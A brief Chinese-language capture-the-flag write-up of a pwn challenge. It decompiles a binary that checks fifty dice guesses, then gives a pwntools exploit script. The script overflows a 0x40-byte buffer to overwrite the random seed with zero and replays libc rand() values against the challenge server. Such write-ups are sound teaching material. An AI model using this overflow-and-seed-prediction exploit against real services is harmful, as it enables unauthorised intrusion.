nc一下给的地址和端口号,大概这个样子。
IDA Pro 看一下源文件
看一下sub_A20()函数,就是比较了你输入的数与随机数是否相同
如果五十次都相同,就输出flag。
我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。
这边就可以看到,buf覆盖0x40位就能覆盖到seed。
exp:
from pwn import * from ctypes import * p=remote('111.198.29.45','53746') libc = cdll.LoadLibrary("libc.so.6") p.recv() payload=0x40*"a"+p64(0) p.sendline(payload) a=[] for i in range(50): a.append(libc.rand()%6+1) print(a) for i in a: p.recv() print(p.recv()) p.sendline(str(i)) p.interactive()
喜提flag!